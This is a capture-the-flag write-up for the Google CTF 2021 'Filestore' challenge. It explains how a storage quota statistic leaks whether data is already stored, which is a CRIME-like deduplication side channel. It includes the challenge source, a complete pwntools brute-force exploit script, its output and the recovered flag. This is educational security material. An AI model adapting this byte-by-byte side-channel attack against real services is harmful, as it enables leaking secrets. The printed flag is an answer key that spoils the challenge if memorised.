ligne de codes avec des écrans et une salle de réunion en arrière plan

Google CTF 2021 Filestore

Top News12/09/2020

By Florian Picca

The flag is stored in a custom storage service. The service only adds new data to its disk if it is not already contained in it. We can abuse the exposed statistics to know if data has been written to disk. We can thus brute force the flag one byte at a time.

Details

  • Category : Misc
  • Points : 50
  • Solves : 321
 

Description

We stored our flag on this platform, but forgot to save the id. Can you help us restore it ?

nc filestore.2021.ctfcompetition.com 1337

Source code :

# Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

import os, secrets, string, time
from flag import flag


def main():
    # It's a tiny server...
    blob = bytearray(2**16)
    files = {}
    used = 0

    # Use deduplication to save space.
    def store(data):
        nonlocal used
        MINIMUM_BLOCK = 16
        MAXIMUM_BLOCK = 1024
        part_list = []
        while data:
            prefix = data[:MINIMUM_BLOCK]
            ind = -1
            bestlen, bestind = 0, -1
            while True:
                ind = blob.find(prefix, ind+1)
                if ind == -1: break
                length = len(os.path.commonprefix([data, bytes(blob[ind:ind+MAXIMUM_BLOCK])]))
                if length > bestlen:
                    bestlen, bestind = length, ind

            if bestind != -1:
                part, data = data[:bestlen], data[bestlen:]
                part_list.append((bestind, bestlen))
            else:
                part, data = data[:MINIMUM_BLOCK], data[MINIMUM_BLOCK:]
                blob[used:used+len(part)] = part
                part_list.append((used, len(part)))
                used += len(part)
                assert used <= len(blob)

        fid = "".join(secrets.choice(string.ascii_letters+string.digits) for i in range(16))
        files[fid] = part_list
        return fid

    def load(fid):
        data = []
        for ind, length in files[fid]:
            data.append(blob[ind:ind+length])
        return b"".join(data)

    print("Welcome to our file storage solution.")

    # Store the flag as one of the files.
    store(bytes(flag, "utf-8"))

    while True:
        print()
        print("Menu:")
        print("- load")
        print("- store")
        print("- status")
        print("- exit")
        choice = input().strip().lower()
        if choice == "load":
            print("Send me the file id...")
            fid = input().strip()
            data = load(fid)
            print(data.decode())
        elif choice == "store":
            print("Send me a line of data...")
            data = input().strip()
            fid = store(bytes(data, "utf-8"))
            print("Stored! Here's your file id:")
            print(fid)
        elif choice == "status":
            print("User: ctfplayer")
            print("Time: %s" % time.asctime())
            kb = used / 1024.0
            kb_all = len(blob) / 1024.0
            print("Quota: %0.3fkB/%0.3fkB" % (kb, kb_all))
            print("Files: %d" % len(files))
        elif choice == "exit":
            break
        else:
            print("Nope.")
            break

try:
    main()
except Exception:
    print("Nope.")
time.sleep(1)

Understanding the problem

The server allows us to store some text and retrieve it later using an ID. We can also check some stats about the server :

== proof-of-work: disabled ==
Welcome to our file storage solution.

Menu:
- load
- store
- status
- exit
store
Send me a line of data...
blabla
Stored! Here's your file id:
Ks6I04YIBEr55REQ

Menu:
- load
- store
- status
- exit
load
Send me the file id...
Ks6I04YIBEr55REQ
blabla

Menu:
- load
- store
- status
- exit
status
User: ctfplayer
Time: Sat Jul 31 14:31:57 2021
Quota: 0.032kB/64.000kB
Files: 2

Menu:
- load
- store
- status
- exit
exit

Upon connection the flag is stored but the ID is unknown. We have to find a way to retrieve the ID or exfiltrate the flag content directly.

Solving the problem

A quick look at the source code makes it clear that retrieving the flag’s ID will not be possible as it’s randomly generated :

fid = "".join(secrets.choice(string.ascii_letters+string.digits) for i in range(16))

We will have to leak the flag content somehow.

When examining the store function, we can see that the server is trying to save space by slitting our data in blocks of 16 bytes and trying to point to already existing data blocks whenever possible. This allows the server to save space and is comparable to data compression.

We know from the flag format that the flag starts with CTF{. If we store CTF{, this data will already exists, so no additional data should be stored on the server, thus not increasing the disk usage. Because we can see the server status, we can know if our input data is already stored on the server or not :

Menu:
- load
- store
- status
- exit
status
User: ctfplayer
Time: Sat Jul 31 14:42:55 2021
Quota: 0.026kB/64.000kB
Files: 1

Menu:
- load
- store
- status
- exit
store
Send me a line of data...
CTF{
Stored! Here's your file id:
DWZGD9RyKEBQatBu

Menu:
- load
- store
- status
- exit
status
User: ctfplayer
Time: Sat Jul 31 14:43:05 2021
Quota: 0.026kB/64.000kB
Files: 2

If the Quota doesn’t change, it means our data was already stored on the server, otherwise it wasn’t. With this, we can recover the flag one byte at a time.

This is the same attack principle as the CRIME vulnerability that affects data compression in protocols like TLS.

Implementing the solution

The full exploit script is given below:

from pwn import *
import string

def store(m):
    conn.sendline("store")
    conn.recvline()
    conn.sendline(m)
    conn.recvuntil("- exit\n")

def status():
    conn.sendline("status")
    conn.recvline()
    conn.recvline()
    quota = conn.recvline()
    conn.recvuntil("- exit\n")
    return quota

conn = remote("filestore.2021.ctfcompetition.com", 1337)
conn.recvuntil("- exit\n")

STATUS = status()
FLAG = "CTF{"
TEMP = FLAG
for _ in range(100):
    for e in string.printable:
        store(TEMP+e)
        q = status()
        if q == STATUS:
            FLAG += e
            TEMP += e
            if len(TEMP) > 15:
                TEMP = TEMP[1:]
            print(f"{FLAG=}")
            break
        else:
            STATUS = q

conn.close()

Running it gives us the flag:

FLAG='CTF{C'
FLAG='CTF{CR'
FLAG='CTF{CR1'
FLAG='CTF{CR1M'
FLAG='CTF{CR1M3'
FLAG='CTF{CR1M3_'
FLAG='CTF{CR1M3_0'
FLAG='CTF{CR1M3_0f'
FLAG='CTF{CR1M3_0f_'
FLAG='CTF{CR1M3_0f_d'
FLAG='CTF{CR1M3_0f_d3'
FLAG='CTF{CR1M3_0f_d3d'
FLAG='CTF{CR1M3_0f_d3du'
FLAG='CTF{CR1M3_0f_d3dup'
FLAG='CTF{CR1M3_0f_d3dup1'
FLAG='CTF{CR1M3_0f_d3dup1i'
FLAG='CTF{CR1M3_0f_d3dup1ic'
FLAG='CTF{CR1M3_0f_d3dup1ic4'
FLAG='CTF{CR1M3_0f_d3dup1ic4t'
FLAG='CTF{CR1M3_0f_d3dup1ic4ti'
FLAG='CTF{CR1M3_0f_d3dup1ic4ti0'
FLAG='CTF{CR1M3_0f_d3dup1ic4ti0n'
FLAG='CTF{CR1M3_0f_d3dup1ic4ti0n}'

Flag : CTF{CR1M3_0f_d3dup1ic4ti0n}

Our news